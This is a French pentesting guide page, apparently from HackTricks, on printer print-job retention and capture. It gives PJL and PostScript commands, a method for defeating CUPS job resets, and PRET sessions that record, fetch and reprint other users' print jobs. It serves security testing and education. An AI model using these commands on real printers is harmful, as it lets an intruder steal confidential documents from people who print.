hacktricks/network-services-pentesting/pentesting-printers/print-job-retention.md
2023-06-03 13:10:46 +00:00

10 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Conservation des travaux d'impression

Certains imprimantes stockent des travaux d'impression accessibles depuis le serveur web. Cependant, la conservation des travaux doit être activée explicitement pour un certain travail d'impression et peut être effectuée à l'aide de commandes PJL standard ou de code PostScript propriétaire. Les travaux sont ensuite conservés en mémoire et peuvent être réimprimés depuis le panneau de commande.

PJL

La conservation légitime des travaux peut être activée pour le document en cours en définissant la variable PJL HOLD comme indiqué ci-dessous:

@PJL SET HOLD=ON
[actual data to be printed follows]

Les travaux en attente sont conservés en mémoire et peuvent être réimprimés à partir du panneau de commande de l'imprimante. Cette fonctionnalité est prise en charge par diverses imprimantes, cependant, il semble que seuls certains appareils Epson permettent la conservation permanente des travaux en attente en utilisant @PJL DEFAULT HOLD=ON.

Comment tester cette attaque?

Utilisez la commande hold de PRET en mode pjl pour vérifier si la conservation permanente des travaux peut être activée :

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> hold
Setting job retention, reconnecting to see if still enabled
Retention for future print jobs: OFF

PostScript

PostScript offre une fonctionnalité similaire qui est cependant spécifique au modèle et au fournisseur. Pour les séries HP LaserJet 4k et diverses imprimantes Kyocera, la rétention de tâches peut être activée en préfixant les commandes suivantes à un document PostScript :

<< /Collate true /CollateDetails
<< /Hold 1 /Type 8 >> >> setpagedevice

Bien qu'il soit théoriquement possible d'activer en permanence la rétention des travaux PostScript à l'aide de l'opérateur startjob, ce paramètre est explicitement réinitialisé par CUPS au début de chaque travail d'impression à l'aide de << /Collate false >> setpagedevice. Pour contrer ce mécanisme de protection, l'attaquant peut redéfinir de manière permanente l'opérateur setpagedevice pour qu'il n'ait aucun effet.

Comment tester cette attaque?

Utilisez la commande hold de PRET en mode ps :

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> hold
Job retention enabled.

Capture de travaux d'impression

Il est possible mais peu courant d'activer la rétention de travaux dans la boîte de dialogue d'impression comme discuté ci-dessus. Cependant, avec PostScript, on a un accès complet sur le travail d'impression en cours et avec l'opérateur startjob, il est même possible de sortir de la boucle du serveur et d'accéder aux travaux futurs. Une telle fonctionnalité a le potentiel de capturer tous les documents si PostScript est utilisé comme pilote d'imprimante.

PostScript

Avec la capacité de se connecter à des opérateurs PostScript arbitraires, il est possible de manipuler et d'accéder à des travaux d'impression étrangers. Pour analyser le flux de données réel envoyé à l'imprimante, on peut appliquer une fonctionnalité assez cool du langage PostScript : lire son propre code de programme en tant que données en utilisant l'opérateur currentfile. De cette façon, tout le flux de données à traiter par l'interpréteur PostScript peut être accédé en le lisant et en le stockant dans un fichier sur le périphérique d'impression. Si l'imprimante ne propose pas d'accès au système de fichiers, les documents capturés peuvent être stockés en mémoire, par exemple dans des dictionnaires PostScript permanents.
Un problème pratique est de décider quel opérateur doit être connecté car on n'a pas accès au flux de données jusqu'à ce que cet opérateur soit traité par l'interpréteur PostScript. Comme un attaquant veut capturer des travaux d'impression dès le début, l'opérateur redéfini doit être le tout premier opérateur contenu dans le document PostScript. Heureusement, tous les documents imprimés avec CUPS sont pressés dans une structure fixe commençant par currentfile /ASCII85Decode filter /LZWDecode filter cvx exec. En se basant sur l'hypothèse d'une telle structure fixe, l'attaquant peut capturer des documents dès le début et exécuter (aka imprimer) le fichier par la suite. Pour les systèmes d'impression autres que CUPS, cette attaque devrait également être possible, mais les opérateurs doivent être adaptés. Notez que l'en-tête PostScript qui inclut généralement la taille du support, les noms d'utilisateur et de travail ne peut pas être capturé en utilisant cette méthode car nous nous connectons d'abord au début du document réel. Une stratégie générique pour se connecter au début de chaque travail d'impression est de définir le paramètre système BeginPage, s'il est pris en charge par l'imprimante (la plupart des imprimantes le font). Cette vulnérabilité est probablement présente dans les périphériques d'impression depuis des décennies car seules les constructions de langage définies par la norme PostScript sont abusées.

Utilisez la commande capture de PRET en mode ps :

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.

printer:/> capture 
Print job operations:  capture <operation>
  capture start   - Record future print jobs.
  capture stop    - End capturing print jobs.
  capture list    - Show captured print jobs.
  capture fetch   - Save captured print jobs.
  capture print   - Reprint saved print jobs.
printer:/> capture start
Future print jobs will be captured in memory!
printer:/> exit

Maintenant, imprimez des documents arbitraires (assurez-vous que PRET est déconnecté pour ne pas bloquer le canal d'impression). Ensuite, vous pouvez répertorier, récupérer ou réimprimer les documents capturés :

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> capture list
Free virtual memory: 16.6M | Limit to capture:  5.0M
date          size  user           jobname                 creator             
───────────────────────────────────────────────────────────────────────────────
Jan 25 18:38  3.1M  -              -                       -                   
Jan 25 18:40  170K  -              -                       -                   
printer:/> capture fetch
Receiving capture/printer/690782792
3239748 bytes received. 
Receiving capture/printer/690646210
174037 bytes received.
printer:/> capture print
printing...
printing...
2 jobs reprinted
printer:/> capture stop
Stopping job capture, deleting recorded jobs
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥